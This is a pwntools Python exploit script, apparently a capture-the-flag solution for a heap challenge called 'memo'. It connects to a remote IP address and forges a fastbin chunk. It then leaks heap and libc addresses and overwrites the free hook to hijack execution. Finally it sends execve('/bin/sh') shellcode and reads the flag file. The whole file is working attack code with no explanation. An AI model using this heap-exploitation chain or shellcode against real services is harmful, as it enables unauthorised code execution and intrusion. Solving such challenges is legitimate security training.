memo.py

from pwn import *

local = True
free = 0x000000601f78

#r = remote("localhost", 4444)
r = remote("54.202.7.144", 8888)

secret_func = 0x400b47
main = 0x40113e

# set up fake fastbin chunk
#fake_chunk = "A"*8
fake_chunk = p64(free) + "A"*8 + p64(0x00) + p64(0x30)
r.recvuntil("name: ")
r.send(fake_chunk)

# no password (for now)
r.recvuntil(")")
r.sendline("y")
r.recvuntil(":")
r.sendline(p64(0x00) + p64(0x30))

r.recvuntil(">>")

def leave_message(idx, size, contents):
    r.sendline("1")
    r.recvuntil("Index:")
    r.sendline(str(idx))
    r.recvuntil("Length:")
    r.sendline(str(size))
    r.recvuntil("Message:")
    r.sendline(contents)
    r.recvuntil(">>")

def edit_message(contents):
    r.sendline("2")
    r.recvuntil("message:")
    r.sendline(contents)
    r.recvuntil("this is edited message!")
    r.recvline()
    addr = r.recvline()[:-1]
    addr = addr.ljust(8, "\x00")
    r.recvuntil(">>")
    return u64(addr)

def del_message(idx):
    r.sendline("4")
    r.recvuntil("Index: ")
    r.sendline(str(idx))
    r.recvuntil(">>")

raw_input("lol")
leave_message(0, 32, "A"*30)
heap_leak = edit_message("test")
log.info("heap leak: {}".format(hex(heap_leak)))
leave_message(1, 32, "A"*30)
del_message(1)
del_message(0)

r.sendline("1")
r.recvuntil("Index:")
r.sendline("0")
r.recvuntil("Length:")
#r.sendline("300")
r.sendline(str(40+8+8))
r.recvuntil("though")
username = 0x602a20
password = 0x602a40
r.send("A"*40 + p64(0x30) + p64(password - 16))
r.recvuntil(">>")

leave_message(1, 32, "A"*30)

r.sendline("1")
r.recvuntil("Index:")
r.sendline("2")
r.recvuntil("Length:")
r.sendline("72")
r.recvuntil("though")
r.send("A"*32+p32(0x40)*4+p64(free))

r.recvuntil(">>")
r.sendline("3")
r.recvuntil("Index:")
r.sendline("0")
r.recvuntil("Message: ")
addr = r.recvline()[:-1]
addr = addr.ljust(8, "\x00")
addr = u64(addr)
#free_off = 0x0000000000083940
free_off = 0x0000000000083a70 # remote
log.success("libc leak: {}".format(hex(addr)))
libc_base = addr - free_off
log.success("libc base: {}".format(hex(libc_base)))

free_hook_off = 0x3c57a8

leave_message(2, 32, "A"*30)
leave_message(3, 32, "A"*30)
leave_message(4, 32, "A"*30)
del_message(4)
del_message(3)

r.sendline("1")
r.recvuntil("Index:")
r.sendline("3")
r.recvuntil("Length:")
r.sendline(str(40 + 16))
r.recvuntil("though")
r.sendline("A"*40 + p64(0x30) + p64(password - 16))
r.recvuntil(">>")

leave_message(3, 32, "/bin/sh")

r.sendline("1")
r.recvuntil("Index:")
r.sendline("4")
r.recvuntil("Length:")
r.sendline(str(32 + 16 + (8*5)))
r.recvuntil("though")
r.send("A"*32+p32(0x40)*4+p64(libc_base + free_hook_off)*5)

r.recvuntil(">>")
r.sendline("2")
r.recvuntil("message:")
r.sendline(p64(secret_func))
r.sendline("4")
r.recvuntil("Index:")
r.sendline("1")
r.recvuntil("anything here")
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.sendline(sc)
r.sendline("cat /home/memo/flag")

r.interactive()